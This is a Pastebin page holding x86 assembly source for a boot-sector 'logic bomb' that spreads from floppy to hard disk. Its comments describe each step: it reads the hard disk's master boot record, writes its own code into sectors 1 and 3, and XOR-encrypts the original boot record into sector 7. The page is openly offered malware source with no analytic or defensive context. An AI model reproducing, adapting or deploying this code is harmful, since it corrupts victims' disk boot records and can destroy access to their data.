Advertisement
FlyFar

FloppyBS.ASM

Dec 24th, 2023
941
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 1.83 KB | Cybersecurity | 0 0
  1. call GetAddr
  2. GetAddr:
  3. pop bx   ;set bx to GetAddr
  4.  
  5. mov ax, 203h
  6. mov dx,80h
  7. mov cx,1
  8. add bx,509
  9. mov es,cs
  10. int 13h ;     load first 3 sectors of HD to 512 bytes after the beginning of this code
  11.  
  12. mov ds,cs
  13. cmp [bx+1022],0AA55h
  14. jnz SuperWrite ;check 2nd sector of HD for boot signature if not continue to logic bomb install
  15.         sub bx,514 ;set bx to 2 bytes before this code
  16.         mov [bx],13cdh ;write Int 13h to bx location
  17.         push bx ;add bx to stack
  18.         add bx,2
  19.         mov ax,201h
  20.         inc cx
  21. ret ;load HD sector 2 as boot code and run it
  22.  
  23. SuperWrite:
  24. mov dx,0
  25. inc cx
  26. mov ax,203h
  27. int 13h ;load sectors 2, 3 and 4 of disk image to 512 bytes after this code starts
  28.  
  29. mov dx,80h
  30. mov ax,201h
  31. mov cx,1
  32. add bx,512
  33. int 13h ;move sector 1 of HD to 1024 bytes after this code starts
  34.  
  35. mov dx,bx
  36. add dx,512 ;set dx to boot signature on original HD boot sector
  37. add bx,446 ;set bx to start of MBR partition table
  38.  
  39.  MemoryShuntingLoop:
  40.         mov cx,[bx]
  41.         sub bx,512
  42.         mov [bx],cx
  43.         add bx, 514 ;copy partition table 2 bytes at a time from sector 1 of HD to Sector 2 of Floppy
  44.         cmp bx,dx
  45. jnz MemoryShuntingLoop
  46.  
  47. sub bx,1024
  48. mov ax,303h
  49. mov cx,1
  50. mov dx,80h
  51. int 13h ;write out sector 1, 2, 3 of HD - Logic bomb's in sector 1 and 3, old MBR code in sector 2.
  52.  
  53.  
  54. add bx,512
  55. mov dx,bx
  56. add dx,512 ;set bx, dx to beginnning, end of old sector 1 of HD in ram.
  57. xor1:
  58.         xor [bx],0faceh
  59.         add bx,2
  60.         cmp bx,dx
  61. jnz xor1 ;Xor old HD sector by 'face' in hex.
  62.  
  63. mov ax,301h
  64. mov cx,7
  65. mov dx,80h
  66. sub bx,512
  67. int 13h ;save encryped old hd to sector 7
  68.  
  69.  
  70. sub bx,514
  71. mov [bx],13CD
  72. push bx ;write Int 13 to before this code, set stack to jump to it on return
  73.  
  74. add bx,2
  75. mov ax,201h
  76. mov dx,80h
  77. mov cx,2
  78. ret ;read sector 2 of HD then execute code from boot location
Tags: logic bomb
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement